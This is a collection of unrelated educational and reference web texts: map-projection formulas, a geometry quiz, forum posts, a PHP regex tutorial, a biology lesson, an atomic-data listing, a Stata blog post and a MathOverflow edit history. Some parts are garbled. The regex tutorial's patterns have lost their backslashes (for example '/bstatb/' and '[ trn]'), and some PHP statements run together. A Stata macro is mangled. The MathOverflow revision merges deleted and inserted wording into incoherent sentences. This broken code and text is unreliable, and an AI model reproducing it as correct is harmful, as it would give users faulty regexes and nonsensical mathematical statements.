For the Conic Satellite-Tracking projection with two parallels having conformality, $R, i, P_2, P_1, \lambda_0, \phi_0, \phi_1, \phi_2, \phi,$ and $\lambda$ must be given, where the symbols are defined above, except that $\phi_2$ is the other parallel of conformality, but without true scale, and $\phi_0$ is the latitude crossing the central meridian at the desired origin of rectangular coordinates. For constants which apply to the entire map, $$F_n = \arctan\{[(P_2/P_1)\cos^2\phi_n-\cos i]/(\cos^2\phi_n-\cos^2 i)^{1/2}\} \tag{ 28-9 }$$ $$\lambda'_n = -\arcsin(\sin\phi_n/\sin i) \tag{ 28-2a }$$ $$\lambda_{t_n} = \arctan(\tan\lambda'_n\cos i) \tag{ 28-3a }$$ $$L_n = \lambda_{t_n} - (P_2/P_1)\lambda'_n \tag{ 28-4a }$$ $$n = (F_2-F_1)/(L_2-L_1) \tag{ 28-10 }$$ $$s_0 = F_1-n L_1 \tag{ 28-11 }$$ $$\rho_0 = R\cos\phi_1\sin F_1/[n\sin(n l_0+s_0)] \tag{ 28-12 }$$ in which subscript $n$ in equations (28-9) and (28-2a) through (28-4a) is made 0, 1, or 2 as required for (28-10) through (28-12), and subscript $n$ is omitted for calculating $F$ and $L$ for formulas below.
For plotting each point $(\phi, \lambda)$, $$\rho=R\cos\phi_1\sin F_1/[n\sin(n L+s_0)] \tag{ 28-1 }$$ $$\theta = n(\lambda-\lambda_0) \tag{ 14-4 }$$ $$x=\rho\sin\theta \tag{ 14-1 }$$ $$y=\rho_0-\rho\cos\theta \tag{ 14-2 }$$ If $n$ is positive and $L$ is equal to or less than $(-s_0/n)$, or if $n$ is negative and $L$ is equal to or greater than $(-s_0/n)$, the point cannot or should not be plotted. The limiting latitude $\phi$ for $L = (-s_0/n)$ may be found using (28-20) through (28-22) below.
In addition, $\rho_s$ the radius of the circle to which groundtracks are tangent on the map, and scale factors h and k, defined above, are found as follows: $$\rho_s = R \cos\phi_1(\sin F_1)/n \tag{ 28-14 }$$ $$k = \rho n /(R\cos\phi) \tag{ 28-15 }$$ $$h = k\tan F/\tan(n L + s_0) \tag{ 28-16 }$$ Radius $\rho_s$, may be inserted into equations (14-1) and (14-2) in place of $\rho$ for rectangular coordinates. The Y axis lies along the central meridian $\lambda_0$, y increasing northerly, and the X axis intersects perpendicularly at $\phi_0$, x increasing easterly. Geometrically, $F_1$ is the inclination of the groundtrack to the meridian at latitude and $n$ is the cone constant.
For the conic projection with one standard parallel, $\phi_1 = \phi_2$ but equation (28-10) is indeterminate. The following may be used in its place: \begin{align} n = &\sin\phi_1[(P_2/P_1)(2\cos^2 i-\cos^2\phi_1)-\cos i]/\{[(P_2/P_1)\cos^2\phi_1-\cos i] \cr &[(P_2/P_1)[(P_2/P_1)\cos^2\phi_1-2\cos i]+1]\} \end{align} \tag{ 28-17 } For the conic projection with one standard parallel which is equal to the upper tracking limit, equation (28-17) may be considerably simplified to the following: $$n=\sin i/[(P_2/P_1)\cos i -1]^2 \tag{ 28-18 }$$ Other equations for the conic form remain the same.
Inverse Formulas (see p. 362 for numerical examples):
For the cylindrical form, the same constants must be given as those listed for the forward formulas ($R, i, P_2, P_1, \lambda_0,$ and $\phi_1$), and $F’_1$ must be calculated from equation (28-1). For a given $(x, y)$, to find $(\phi, \lambda)$: $$L = y F'_1/(R\cos\phi_1) \tag{ 28-19 }$$ $$\lambda_t = L+(P_2/P_1)\lambda' \tag{ 28-20 }$$ $$\lambda' = \arctan(\tan\lambda_t/\cos i) \tag{ 28-21 }$$ $$\phi = -\arcsin(\sin\lambda'/\sin i) \tag{ 28-22 }$$ $$\lambda = \lambda_0 + x/(R\cos\phi_1) \tag{ 28-23 }$$ Equations (28-20) and (28-21) must be iterated as a pair, using (-90°) as the first trial $\lambda’$ in equation (28-20), solving for $\lambda_t$, inserting it into (28-21), finding a new $\lambda’$ without using the equivalent of the Fortran ATAN2 function, and using it in (28-20), until $\lambda’$ changes by a negligible amount. This final $\lambda’$ is used in (28-22) to find $\phi$.
A generally faster solution of (28-20) and (28-21) involves the use of a Newton-Raphson iteration in place of those two equations, although equations are longer: $$A = \tan[L+(P_2/P_1)\lambda']/\cos i \tag{ 28-24 }$$ $$\Delta\lambda' = -(\lambda'-\arctan A)/[1-(A^2+1/\cos^2 i)(P_2/P_1)\cos i/(A^2+1)] \tag{ 28-25 }$$ The first trial $\lambda’$ is again (-90°) in equation (28-24) and (28-25). The adjustment $\Delta\lambda’$ is added to each successive trial until reasonable convergence occurs.
For any of the conic forms, the initial constants $R, i, P_2, P_1, \lambda_0, \phi_0,$ and $\phi_1$ alone or both $\phi_1$, and $\phi_2$ must be given. In addition, all constants in equations (28-9) through (28-12), (28-2a) through (28-4a), and (28-17) or (28-18) if necessary must be calculated. For a given $(x, y)$, to find $(\phi, \lambda)$, $$\rho = \pm[x^2+(\rho_0-y)^2]^{1/2} \quad \text{,taking the sign of n} \tag{ 14-10 }$$ $$\theta = \arctan[x/(\rho_0-y)] \tag{ 14-11 }$$ $$L = [\arcsin(R\cos\phi_1\sin F_1/(\rho n))-s_0]/n \tag{ 28-26 }$$ From $L, \lambda’$ and then $\phi$ are found using equations (28-20) through (28-22), or (28-24), (28-25), and (28-22), with iteration as described above. Then $$\lambda = \lambda_0 + \theta/n \tag{ 14-9 }$$ Sample coordinates for several of the Satellite-Tracking projections are shown in tables 38 through 40.
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Mathematics
# From the following figure, can we say that $AB> CD$If true then enter 1 else enter 0.
1
##### SOLUTION
$Given:\quad In\quad triangle\quad ABC\quad \\ \angle ABC\quad =\quad { 70 }^{ \circ }\\ AB\quad =\quad AC\\ So\\ \angle ACB\quad =\quad { 70 }^{ \circ }\\ In\quad \triangle \quad ACD\\ \angle ACD\quad =\quad 180^{ \circ }\quad -\quad { 70 }^{ \circ }\quad ={ 110 }^{ \circ }\\ \angle ADC\quad =\quad 40^{ \circ }\\ \angle CAD\quad =\quad 180^{ \circ }\quad -\quad { 150 }^{ \circ }\quad =\quad { 30 }^{ \circ }\\ So\quad AC\quad >\quad CD\quad (\angle ADC\quad \quad >\quad \angle CAD\quad )\\ Since\quad AB\quad =\quad AC\quad (given)\\ AB\quad >\quad CD\\ \\ \\$
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One Word Medium Published on 09th 09, 2020
Questions 120418
Subjects 10
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#### Realted Questions
Q1 Single Correct Medium
Mark the correct alternative of the following.
In figure, if AB$||$CD then $x=?$
• A. $39$
• B. $44$
• C. $64$
• D. $54$
Asked in: Mathematics - Lines and Angles
1 Verified Answer | Published on 09th 09, 2020
Q2 Subjective Medium
In figure, $AB || CD$.
Find the values of $x, y, z$ and $t$.
Asked in: Mathematics - Lines and Angles
1 Verified Answer | Published on 09th 09, 2020
Q3 Subjective Medium
In the figure, $ABCD$ is a square and $\triangle EDC$ is an equilateral triangle. Prove that
(i) $AE=BE$
(ii) $\angle DAE={15}^{o}$
Asked in: Mathematics - Lines and Angles
1 Verified Answer | Published on 09th 09, 2020
Q4 Subjective Medium
In the given figure, lines $AB$ and $CD$ intersect at point $O$.
Name all the pairs of vertically opposite angles.
Asked in: Mathematics - Lines and Angles
1 Verified Answer | Published on 09th 09, 2020
Q5 TRUE/FALSE Medium
State true or false:
If angles forming a linear pair are of equal measure, then each of these angles is of measure $90^o$
• A. False
• B. True
Asked in: Mathematics - Lines and Angles
1 Verified Answer | Published on 09th 09, 2020
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# Recent content by Matan1692
1. ### Calculation of deviation
Hey there, I Am dealing with Calculation of deviation of 7 groups (each group represent year of study) , each group contain n_i obs of students and i'd like to calculate the total variance of their grades. The mean was calculated: sum { w_i * mu_i} / (sum {n_i}) where w_i is the proportion...
2. ### minimal sufficient statistics
Thank you, where can i find a proof for this theorem?
3. ### minimal sufficient statistics
Hello all. Is the theorem about minimal sufficient statistics by the factorization theorem is a statement of if and only if? Let theta be an unknown parameter, if for sufficient statistic s(x) i previously found, and for the likelihood's ratio of L(x,theta)/L(y,theta). If i show that s(x)=s(y)...
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Getting Comfortable with Regular Expressions - PHP and Jquery
Regular expressions are often perceived as intimidating, difficult tools. In fact, regexes have such a bad reputation among programmers that discussions about them are often peppered with this quote:
Some people, when confronted with a problem, think, “I know, I’ll use regularexpressions.” Now they have two problems.—Jamie Zawinski
This sentiment is not entirely unfounded because regular expressions come with a complex syntax and little margin for error. However, after overcoming the initial learning curve, regexes are an incredibly powerful tool with myriad applications in day -to -day programming.
Understanding Basic Regular Expression Syntax
In this book, you’ll learn Perl-Compatible Regular Expression (PCRE) syntax. This syntax is compatible with PHP and JavaScript, as well as most other programming languages.
Setting up a Test File
To learn how to use regexes, you’ll need a file to use for testing. In the public folder, create a new file called regex.phpand place the following code inside it:
<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.wisdomjobs.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.wisdomjobs.org/1999/xhtml" xml:lang="en" lang="en">
<meta http-equiv="Content-Type"
content="text/html;charset=utf-8" />
<title>Regular Expression Demo</title>
<style type="text/css">
em {
background-color: #FF0;
border-top: 1px solid #000;
border-bottom: 1px solid #000;
}
</style>
<body>
<?php
/*
* Store the sample set of text to use for the examples of regex
*/
$string = <<<TEST_DATA <h2>Regular Expression Testing</h2> <p> In this document, there is a lot of text that can be matched using regex. The benefit of using a regular expression is much more flexible — albeit complex — syntax for text pattern matching. </p> <p> After you get the hang of regular expressions, also called regexes, they will become a powerful tool for pattern matching. </p> <hr /> TEST_DATA; /* * Start by simply outputting the data */ echo$string;
?>
</body>
</html>
in your browser to view the sample script
The sample file for testing regular expressions
Replacing Text with Regexes
To test regular expressions, you’ll wrap matched patterns with <em>tags, which are styled in the test document to have top and bottom borders, as well as a yellow background.
Accomplishing this with regexes is similar using str_replace() in PHP with the preg_replace()function. A pattern to match is passed, followed by a string (or pattern) to replace the matched pattern with. Finally, the string within which the search is to be performed is passed:
preg_replace($pattern,$replacement, $string); The only difference between str_replace() and preg_replace() on a basic level is that the element passed to preg_replace() for the pattern must use delimiters, which let the function know which part of the regex is the pattern and which part consists of modifiers, or flags that affect how the pattern matches. You’ll learn more about modifiers a little later in this section. The delimiters for regex patterns in preg_replace() can be any non-alphanumeric, non-backslash, and non-whitespace characters placed at the beginning and end of the pattern. Most commonly, forward slashes (/) or hash signs (#) are used. For instance, if you want to search for the letters cat in astring, the pattern would be /cat/ (or #cat#, %cat%, @cat@, and so on). Choosing Regexes vs. Regular String Replacement To explore the differences between str_replace() and preg_replace(), try using both functions to wrap any occurrence of the word regular with <em>tags. Make the following modifications to regex.php: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.wisdomjobs.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.wisdomjobs.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta http-equiv="Content-Type" content="text/html;charset=utf-8" /> <title>Regular Expression Demo</title> <style type="text/css"> em { background-color: #FF0; border-top: 1px solid #000; border-bottom: 1px solid #000; } </style> </head> <body> <?php /* * Store the sample set of text to use for the examples of regex */$string = <<<TEST_DATA
<h2>Regular Expression Testing</h2>
<p>
In this document, there is a lot of text that can be matched using regex.
The benefit of using a regular expression is muchmore flexible —
albeit complex — syntax for textpattern matching.
</p>
<p>
After you get the hang of regular expressions, also called
regexes, they will become a powerful tool for pattern matching.
</p>
<hr />
TEST_DATA;
/*
* Use str_replace() to highlight any occurrence of the word
* "regular"
*/
echostr_replace("regular", "<em>regular</em>", $string); /* * Use preg_replace() to highlight any occurrence of the word * "regular" */ echopreg_replace("/regular/", "<em>regular</em>",$string);
?>
</body>
</html>
Executing this script in your browser outputs the test information twice, with identical results .
The word regular highlighted with both regexes and regular string replacement
Drilling Down on the Basics of Pattern Modifiers
You may have noticed that the word regular in the title is not highlighted. This is because the previous example is case sensitive.
To solve this problem with simple string replacement, you can opt to use the str_ireplace()function, which is nearly identical to str_replace(), except that it is case insensitive.
With regular expressions, you will still use preg_replace(), but you’ll need a modifier to signify case insensitivity. A modifier is a letter that follows the pattern delimiter, providing additional information to the regex about how it should handle patterns. For case insensitivity, the modifier i should be applied.
Modify regex.php to use case-insensitive replacement functions by making the modifications shown in bold:
<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.wsdomjobs.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.wisdomjobs.org/1999/xhtml" xml:lang="en" lang="en">
<meta http-equiv="Content-Type"
content="text/html;charset=utf-8" />
<title>Regular Expression Demo</title>
<style type="text/css">
em {
background-color: #FF0;
border-top: 1px solid #000;
border-bottom: 1px solid #000;
}
</style>
<body>
<?php
/*
* Store the sample set of text to use for the examples of regex
*/
$string = <<<TEST_DATA <h2>Regular Expression Testing</h2> <p> In this document, there is a lot of text that can be matched using regex. The benefit of using a regular expression is muchmore flexible — albeit complex — syntax for textpattern matching. </p> <p> After you get the hang of regular expressions, also called regexes, they will become a powerful tool for pattern matching. </p> <hr /> TEST_DATA; /* * Use str_ireplace() to highlight any occurrence of the word * "regular" */ echostr_ireplace("regular", "<em>regular</em>",$string);
/*
* Use preg_replace() to highlight any occurrence of the word
* "regular"
*/
echopreg_replace("/regular/i", "<em>regular</em>", $string); ?> </body> </html> Now loading the file in your browser will highlight all occurrences of the word regular, regardless of case A case-insensitive search of the sample data As you can see, this approach has a drawback: the capitalized regular in the title is changed to lowercase when it is replaced. In the next section, you’ll learn how to avoid this issue by using groups in regexes. Getting Fancy with Backreferences The power of regexes starts to appear when you apply one of their most useful features: grouping and backreferences. A group is any part of a pattern that is enclosed in parentheses. A group can be used in the replacement string (or later in the pattern) with a backreference, a numbered reference to a named group. This all sounds confusing, but in practice it’s quite simple. Each set of parentheses from left to right in a regex is stored with a numeric back reference, which can be accessed using a backslash and the number of the backreference (1) or by using a dollar sign and the number of the back reference ($1). The benefit of this is that it gives regexes the ability to use the matched value in the replacement, instead of a predetermined value as in str_replace() and its ilk.
To keep the replacement contents in your previous example in the proper case, you need to use two occurrences of str_replace(); however, you can achieve the same effect by using a backreference in preg_replace()with just one function call.
Make the following modifications to regex.php to see the power of backreferences in regexes:
<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.wisdomjobs.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.wisdomjobs.org/1999/xhtml" xml:lang="en" lang="en">
<meta http-equiv="Content-Type"
content="text/html;charset=utf-8" />
<title>Regular Expression Demo</title>
<style type="text/css">
em {
background-color: #FF0;
border-top: 1px solid #000;
border-bottom: 1px solid #000;
}
</style>
<body>
<?php
/*
* Store the sample set of text to use for the examples of regex
*/
$string = <<<TEST_DATA <h2>Regular Expression Testing</h2> <p> In this document, there is a lot of text that can be matchedusing regex. The benefit of using a regular expression is muchmore flexible — albeit complex — syntax for text pattern matching. </p> <p> After you get the hang of regular expressions, also calledregexes, they will become a powerful tool for pattern matching. </p> <hr /> TEST_DATA; /* * Use str_replace() to highlight any occurrence of the word * "regular" */$check1 = str_replace("regular", "<em>regular</em>", $string); /* * Use str_replace() again to highlight any capitalized occurrence * of the word "Regular" */ echostr_replace("Regular", "<em>Regular</em>",$check1);
/*
* Use preg_replace() to highlight any occurrence of the word
* "regular", case-insensitive
*/
echopreg_replace("/(regular)/i", "<em>$1</em>",$string);
?>
</body>
</html>
As the preceding code illustrates, it’s already becoming cumbersome to use str_replace() for any kind of complex string matching. After saving the preceding changes and reloading your browser, however, you can achieve the desired outcome using both regexes and standard string replacement
A more complex replacement
Matching Character Classes
In some cases, it’s desirable to match more than just a word. For instance, sometimes you want to erify that only a certain range of characters was used (i.e., to make sure only numbers were supplied for a phone number or that no special characters were used in a username field).
Regexes allow you to specify a character class, which is a set of characters enclosed in squarebrackets. For instance, to match any character between the letter a and the letter c, you would use [a-c] in your pattern.
You can modify regex.phpto highlight any character from A-C. Additionally, you can move the pattern into a variable and output it at the bottom of the sample data; this helps you see what pattern is being used when the script is loaded. Add the code shown in bold to accomplish this:
<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.wisdomjobs.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.wisdomjobs.org/1999/xhtml" xml:lang="en" lang="en">
<meta http-equiv="Content-Type"
content="text/html;charset=utf-8" />
<title>Regular Expression Demo</title>
<style type="text/css">
em {
background-color: #FF0;
border-top: 1px solid #000;
border-bottom: 1px solid #000;
}
</style>
<body>
<?php
/*
* Store the sample set of text to use for the examples of regex
*/
$string = <<<TEST_DATA <h2>Regular Expression Testing</h2> <p> In this document, there is a lot of text that can be matched using regex. The benefit of using a regular expression is muchmore flexible — albeit complex — syntax for textpattern matching. </p> <p> After you get the hang of regular expressions, also calledregexes, they will become a powerful tool for pattern matching. </p> <hr /> TEST_DATA; /* * Use regex to highlight any occurence of the letters a-c */$pattern = "/([a-c])/i";
echopreg_replace($pattern, "<em>$1</em>", $string); /* * Output the pattern you just used */ echo "n<p>Pattern used: <strong>$pattern</strong></p>";
?>
</body>
</html>
After reloading the page, you’ll see the characters highlighted. You can achieve identical results using [abc], [bac], or any other combination of the characters because the class will match any one character from the class. Also, because you’re using the case-insensitive modifier (i), you don’t need to include both uppercase and lowercase versions of the letters. Without the modifier, you would need to use [A-Ca-c] to match either case of the three letters.
Any character from A-C is highlighted
Matching Any Character Except...
To match any character except those in a class, prefix the character class with a caret (^). To highlight any characters except A-C, you would use the pattern /([^a-c])/i
Highlighting all characters, except letters A-C
Note It’s important to mention that the preceding patterns enclose the character class within parentheses. Character classes do not store backreferences, so parentheses still must be used to reference the matched text later.
Using Character Class Shorthand
Certain character classes have a shorthand character. For example, there is a shorthand class for every word, digit, or space character:
• Word character class shorthand (w): Matches patterns like [A-Za-z0-9_]
• Digit character class shorthand (d): Matches patterns like [0-9]
• Whitespace character class shorthand (s): Matches patterns like [ trn]
Using these three shorthand classes can improve the readability of your regexes, which is extremely convenient when you’re dealing with more complex patterns.
You can exclude a particular type of character by capitalizing the shorthand character:
• Non-word character class shorthand (W): Matches patterns like [^A-Za-z0-9_]
• Non-digit character class shorthand (D): Matches patterns like [^0-9]
• Non-whitespace character class shorthand (S): Matches patterns like [^ trn]
Note t, r, and n are special characters that represent tabs and newlines; a space is represented by a regular space character ( ).
Finding Word Boundaries
Another special symbol to be aware of is the word boundary symbol (b). By placing this before and/or after a pattern, you can ensure that the pattern isn’t contained within another word. For instance, if you want to match the word stat, but not thermostat, statistic, or ecstatic, you would use this pattern:/bstatb/.
Using Repetition Operators
When you use character classes, only one character out of the set is matched, unless the pattern specifies a different number of characters. Regular expressions give you several ways to specify a number of characters to match:
• The star operator (*) matches zero or more occurrences of a character.
• The plus operator (+) matches one or more occurrences of a character.
• The special repetition operator ({min,max}) allows you to specify a range of character matches.
Matching zero or more characters is useful when using a string that may or may not have a certain piece of a pattern in it. For example, if you want to match all occurrences of either John or John Doe, you cause this pattern to match both instances: /John( Doe)*/.
Matching one or more characters is good for verifying that at least one character was entered. Forinstance, if you want to verify that a user enters at least one character into a form input and that thecharacter is a valid word character, you can use this pattern to validate the input: /w+/.
Finally, matching a specific range of characters is especially useful when matching numeric ranges.For instance, you can use this pattern to ensure a value is between 0 and 99: /bd{1,2}b/.
In your example file, you use this regex pattern to find any words consisting of exactly four letters: /(bw{4}b)/
Matching only words that consist of exactly four letters
Detecting the Beginning or End of a String
Additionally, you can force the pattern to match from the beginning or end of the string (or both). If the pattern starts with a caret (^), the regex will only match if the pattern starts with a matching character. If it ends with a dollar sign ($), the regex will match only if the string ends with the preceding matching character. You can combine these different symbols to make sure an entire string matches a pattern. This is useful when validating input because you can verify that the user only submitted valid information. For instance, you can you can use this regex pattern to verify that a username contains only the letters A-Z, the numbers 0-9, and the underscore character: /^w+$/.
Using Alternation
In some cases, it’s desirable to use either one pattern or another. This is called alternation, and it’s accomplished using a pipe character (|). This approach allows you to define two or more possibilities for a match. For instance, you can use this pattern to match either three-, six-, or seven-letter words in regex.php: /b(w{3}|w{6,7})b/
Using alternation to match only three-, six-, and seven-letter words
Using Optional Items
In some cases, it becomes necessary to allow certain items to be optional. For instance, to match both single and plural forms of a word like expression, you need to make the s optional.
To do this, place a question mark (?) after the optional item. If the optional part of the pattern is longer than one character, it needs to be captured in a group (you’ll use this technique in the next section).
For now, use this pattern to highlight all occurrences of the word expression or expressions: /(expressions?)/i
Matching a pattern with an optionals at the end
Putting It All Together
Now that you’ve got a general understanding of regular expressions, it’s time to use your new knowledge to write a regex pattern that will match any occurrence of the phrases regular expression or regex, including the plural forms.
To start, look for the phrase regex: /(regex)/i
Matching the word regex
Next, add the ability for the phrase to be plural by inserting an optional esat the end:/(regex (es) ?)/i
Adding the optional match for the plural form of regex
Next, you will add to the pattern so that it also matches the word regular with a space after it; you will also make the match optional: /(reg(ulars)?ex(es)?)/i
Adding an optional check for the word regular
Now expand the pattern to match the word expression as an alternative to es:/(reg (ulars) ?ex (pression | es) ?)/i
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### Theory:
In the last theory, we saw nutrition in unicellular organisms. In this theory, we will see nutrition in complex multicellular organisms like the human whose digestive system is complex. The human digestive system is responsible for the breakdown of complex food substances into constituent simpler substances that can be utilised by the cells of the body.
The human digestive system is composed of two main parts - the alimentary canal and the associated digestive glands.
Alimentary canal:
The alimentary canal is a long tubular passage of mucous membrane and muscles which extends about $$8.3$$ $$metre$$ from the mouth to the anus. The alimentary canal composed of the following parts:
1. Buccal cavity or mouth
2. Pharynx
3. Oesophagus
4. Stomach
5. Small intestine
6. Large intestine
The parts of human digestive system
The associated digestive glands include:
• Salivary gland
• Gastric gland
• Liver
• Pancreas
Mouth:
The human mouth consists of two parts that include the vestibule and the oral/buccal cavity. The buccal cavity is the interior part of the mouth which has the following parts:
1. Palate - It is the roof of the buccal cavity. The anterior part of the palate is called the hard palate whereas, the posterior part of the palate is smooth and called the soft palate. The uvula is the hinder free part of the soft palate, which hangs down freely as a flap
Parts of the mouth
2. Tongue - It is a muscular organ (contains voluntary muscles) covered with mucous membrane which forms the floor of the buccal cavity. The tongue is attached to the floor of the mouth by a connective tissue fold called lingual frenulum. It has gustatory receptors that aid in the perception of taste.
The tongue has four taste zones - sweet, salt, bitter and sour. It aids in the chewing and swallowing the food. The tongue also rolls and turns the food to ensure that saliva is adequately mixed with the food. It also helps in the process of speech.
Regions of the tongue for different tastes
3. Teeth - Humans have heterodont dentition (teeth differ in appearance throughout the mouth). Teeth in humans is diphyodont, i.e., have two sets of teeth - deciduous or milk teeth and permanent teeth.
Teeth are embedded in the sockets of the jawbones. There are four kinds of teeth:
1. Incisors - specialized for cutting and biting food
2. Canines - specialized for piercing and tearing food
3. Premolars - specialized for crushing and coarse grinding food
4. Molars - specialized for fine grinding of food
Types of teeth
Parts of the teeth:
A tooth consists of three regions:
1. Crown - It projects above the gums. Crown allows the breakdown of food, which is protected by the tooth's enamel. Enamel is the hardest substance which covers the dentine (it's also the hardest material in the Kingdom Animalia.). Dentine is the hard, ivory-like substance that lines the pulp cavity.
2. Neck - Neck is surrounded by gum. It serves as a joint between the gum and the crown of the tooth.
3. Root - It is embedded in the bone. The root anchors the teeth allows the blood, nerve supply entry into the teeth.
Tooth anatomy
Did you know what causes dental caries?
Tooth decay occurs when bacteriaact on the sugars to produce acids that attack the tooth surface and demineralises the enamel.
Tooth decay begins when acids are produced by the bacteria that acts on sugars which soften and demineralises the enamel. Bacteria in the mouth creates acid through the oxidation of sugar present in food particles in the mouth.
Masses of bacterial cells grow together with the food particles that bind to the teeth to form dental plaque.
Since the plaque covers the teeth, saliva cannot neutralise the acid produced on the tooth surface. Thus, brushing teeth after ingestion of food removes the plaques before the bacteria produces acid. However, if untreated, microorganisms can invade the pulp that causes severe toothacheinfection and inflammation.
Tooth decay
How to prevent tooth decay?
1. Rinsing mouth thoroughly with clean water after each meal reduces the bacterial load.
2. Brushing teeth twice a dayreduces the bacterial load and plaque.
3. Dental floss must be used to remove the trapped food particles.
4. Avoid using dirty fingers or unwashed objects in the mouth.
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Article Contents
Article Contents
# Heteroclinic solutions for non-autonomous boundary value problems with singular $\Phi$-Laplacian operators
• We prove the solvability of the following boundary value problem on the real line
$\Phi(u'(t))'=f(t,u(t),u'(t))$ on $\mathbb{R}$,
$u(-\infty)=-1,$ $u(+\infty)=1,$
with a singular $\Phi$-Laplacian operator.
We assume $f$ to be a continuous function that satisfies suitable symmetry conditions. Moreover some growth conditions in a neighborhood of zero are imposed.
Mathematics Subject Classification: Primary: 34B40; Secondary: 34B15, 34B16.
Citation:
Open Access Under a Creative Commons license
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nrb05#b_ca15ic1-2.dat
Photoexcitation-autoionisation Rate Coefficients
Ion
Ca15+
Filename
nrb05#b_ca15ic1-2.dat
Full Path
Parent states
1s2 2s2 2p1 2P0.5
1s2 2s2 2p1 2P1.5
1s2 2s1 2p2 4P0.5
1s2 2s1 2p2 4P1.5
1s2 2s1 2p2 4P2.5
1s2 2s1 2p2 2D1.5
1s2 2s1 2p2 2D2.5
1s2 2s1 2p2 2S0.5
1s2 2s1 2p2 2P0.5
1s2 2s1 2p2 2P1.5
1s2 2p3 4S1.5
1s2 2p3 2D1.5
1s2 2p3 2D2.5
1s2 2p3 2P0.5
1s2 2p3 2P1.5
Recombined states
1s2 2s2 2p2 3P0.0
1s2 2s2 2p2 3P1.0
1s2 2s2 2p2 3P2.0
1s2 2s2 2p2 1D2.0
1s2 2s2 2p2 1S0.0
1s2 2s1 2p3 5S2.0
1s2 2s1 2p3 3D2.0
1s2 2s1 2p3 3D1.0
1s2 2s1 2p3 3D3.0
1s2 2s1 2p3 3P0.0
1s2 2s1 2p3 3P1.0
1s2 2s1 2p3 3P2.0
1s2 2s1 2p3 3S1.0
1s2 2s1 2p3 1D2.0
1s2 2s1 2p3 1P1.0
1s2 2p4 3P2.0
1s2 2p4 3P1.0
1s2 2p4 3P0.0
1s2 2p4 1D2.0
1s2 2p4 1S0.0
1s1 2s2 2p3 5S2.0
1s1 2s2 2p3 3D1.0
1s1 2s2 2p3 3D2.0
1s1 2s2 2p3 3D3.0
1s1 2s2 2p3 3S1.0
1s1 2s2 2p3 3P0.0
1s1 2s2 2p3 3P2.0
1s1 2s2 2p3 3P1.0
1s1 2s2 2p3 1D2.0
1s1 2s2 2p3 1P1.0
1s1 2s1 2p4 5P3.0
1s1 2s1 2p4 5P2.0
1s1 2s1 2p4 5P1.0
1s1 2s1 2p4 3P2.0
1s1 2s1 2p4 3D1.0
1s1 2s1 2p4 3D3.0
1s1 2s1 2p4 3D2.0
1s1 2s1 2p4 3P1.0
1s1 2s1 2p4 3P0.0
1s1 2s1 2p4 3S1.0
1s1 2s1 2p4 1D2.0
1s1 2s1 2p4 3P2.0
1s1 2s1 2p4 3P0.0
1s1 2s1 2p4 3P1.0
1s1 2s1 2p4 1P1.0
1s1 2s1 2p4 1S0.0
1s1 2p5 3P2.0
1s1 2p5 3P1.0
1s1 2p5 3P0.0
1s1 2p5 1P1.0
--------------------------------------------------------------------------------------------------------------
--------------------------------------------------------------------------------------------------------------
A15 /IC/
--------------------------------------------------------------------------------------------------------------
--------------------------------------------------------------------------------------------------------------
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Sunday, July 15, 2012
Use bootstrapped draws for simulating draws - expand method
* Use bootstrapped draws for simulating results - expand method
* This presents an alternative method to resampling results from the last post
webuse mheart0, clear
* First let's generate an observation index
gen obs_id = _n
* And you want to test how well an estimator will work on sampled data from that data set.
* There are obviously many ways to do this.
* One way would be to resample from that data 1,000 draws and then generate a dependent variable and test how well your estimator works.
sum
* First we want to mark the draws but we can see that bmi is missing some information.
* For our purposes we could either drop the observations for which bmi is missing or inearly impute bmi.
* Let's just impute bmi:
reg bmi age smokes attack female hsgrad marstatus alcohol hightar
predict bmi_fill
replace bmi = bmi_fill if bmi==.
sum bmi
drop bmi_fill
di "Now what we want is approximately 1,000 results (we do not need to be exact)"
di "We have " _N " observations"
di "So we need to add approximately " round(obs_add') " observations per observation"
* One way to do this would be to add (or subtract) randomly more duplicate observations.
* The uniform distribution is a natural choice. However, its expected value is 1/2 so we need to multiply by 2 to ensure that we get the right number of observations.
* Note: alternative distributions might be any non-negative distribution for which you can specify the expected value.
* For example: poission. This distribution will be less likely to drop observations and have more proportional representation of initial observations.
* First let's drop any obervations that are slated to be dropped
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3 deleted 17 characters in body
In number theory, I would say that the counterpart of the "Maximise" principle is the "Local to global principle": if there is no local obstruction to solvability of some number-theoretic problem (e.g. solving a Diophantine equation), then there is no global obstruction either. In the case of Diophantine equations, this becomes the Hasse principle. In the case of patterns in the primes, this leads to the prime tuples conjecture and its generalisations. And so forth. (But bear in mind that this principle sometimes fails, due to non-obvious algebraic structure beyond the obvious "local" ones.)
EDIT: The Riemann zeta function (and other L-functions) also exhibit the "maximise" principle, a phenomenon known as zeta function universality. (But opinion is divided as to it may well be that whimsical identity fails; as pointed out in comments below, Selberg conjectured that standard axioms such as Euler product, analytic continuation, and functional equationseem unable , and the Ramanujan conjecture may, when combined, become just strong enough to fully pin down any reasonable describe the class of all known L-functions without introducing any really exotic ones (and in particularcontain , avoiding the artificial examples which violate a suitable generalisation of the Riemann hypothesis), but it is still conceivable that there is some additional axiom yet to be discovered "fake" L-functions which could do the job (and, optimistically, could separate zeta from the RH-violators).bad things such as violate RH).)
2 added 659 characters in body; edited body; added 47 characters in body
In number theory, I would say that the counterpart of the "Maximise" principle is the "Local to global principle": if there is no local obstruction to solvability of some number-theoretic problem (e.g. solving a Diophantine equation), then there is no global obstruction either. In the case of Diophantine equations, this becomes the Hasse principle. In the case of patterns in the primes, this leads to the prime tuples conjecture and its generalisations. And so forth. (But bear in mind that this principle sometimes fails, due to non-obvious algebraic structure beyond the obvious "local" ones.)
